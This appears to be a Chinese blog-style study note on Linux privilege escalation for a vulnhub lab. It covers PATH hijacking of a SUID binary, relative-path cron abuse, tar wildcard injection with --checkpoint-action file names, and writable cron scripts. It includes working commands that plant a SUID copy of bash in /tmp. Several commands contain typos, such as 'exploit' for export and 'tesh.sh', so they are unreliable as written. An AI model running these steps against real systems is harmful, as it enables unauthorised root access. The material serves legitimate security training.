目录
Linux提权第三方服务数控Mysql_UDF-vulnhub
实验的环境:Linux提权本地环境变量安全-aliyun
配合SUID进行环境变量提权-本地用户环境
手写调用文件-编译-复制文件-增加环境变量-执行触发
- gcc demo.c -o shell
-
- cp /bin/sh /tmp/ps
-
- ./shell
主要的思路:当我们拿到一个本地的权限,例如当我们使用id命令查看当前的权限的时候,回显权限为uid=1001(undead)等,拿到一个本地普通的权限,并不是root权限,之后便是将/home/undead/script下面的demo.c文件编译为shell文件
将/bin目录下的sh复制到/tmp下并且改名为ps,在切换到/tmp目录下,如果我们输入的命令是ps,那就是普通的执行ps命令,查看进程的信息。但是我们如果执行的是./sh那么则执行的是sh
- //demo.c这个文件中的内容例如为下面的代码:
- #include
- void main(){
- setuid(0);
- setgid(0);
- system(“ps”);
- }
我们可以通过echo $Path来输出环境变量的信息。
之后通过exploit $Path=/tmp:$Path命令将/tmp加入到环境变量中,那么现在输入ps,则会直接执行/tmp目录下的ps(实际上就是/bin/sh)
查看ps是否有suid的权限:find / -user root -perm -4000 -printf 2>/dev/null
发现ps有suid权限。
上面所提到的这种提权的方式有两个条件:
赋值suid权限
需要本地用户(如果是webshell权限 那么exploit $Path=/tmp:$Path执行不了)
利用计划任务指向文件的相对路径解析问题
cat /etc/crontab
echo ‘cp /bin/bash/tmp/bash;chmod u+s /tmp/bash' >
/home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash
计划任务的test没有写绝对路径,计划任务会默认执行在下面的目录中的目标文件(/usr/local/bin)
假设test文件的内容是这样的:date >> /tmp/time.log
那么攻击者可以在用户目录下创建一个同名文件
利用通配符配合命令参数自定义命令实现提权
不安全定时任务备份命令
Backup.sh:
cd /home/undead/script;
tar czf /tmp/backup.tar.gz *
echo 'cp /bin/basn /tmp/bash;
chmod u+s /tmp/bash' >/home/undead/script/test.sh
echo " " > "--checkpoint-action=exec=sh tesh.sh"
echo " " >--checkpoint=1
参考:https://www.cnblogs.com/manong--/p/8012324.html
首先会切换到/home/undead/script目录下,之后就是压缩,将该目录下面的所有的文件进行压缩,*号代表的意思就是,将全部文件进行压缩的意思,如果不是*号,就无法利用。
一旦该目录下面存在—checkpoint=1 和 --checkpoint-action=exec=sh tesh.sh 这两个文件的话, 在进行压缩的时候,就会形成这样的命令:tar czf /tmp/backup.tar.gz —checkpoint=1 --checkpoint-action=exec=sh tesh.sh 执行了test.sh,suid提权,执行bash就有了root权限。
利用不安全的权限分配操作导致的定时任务覆盖
Chmod 777 775等 所有者 组 其他成员说明
一般是管理员为定时任务分配了不当的权限,例如777,导致普通用户可以对定时任务进行覆盖,从而提权
判断漏洞: ls -al 目录
没时间去做这个实验,等到hvv结束在整理吧。上面可能整理的不好,这的几个提权的方法,比较鸡肋。之后在进行详细的整理吧。(后面附上了vulnhub的靶场下载地址,大家可以去下载玩一下)
https://www.vulnhub.com/entry/raven-2,269/ (靶场 linux – raven2)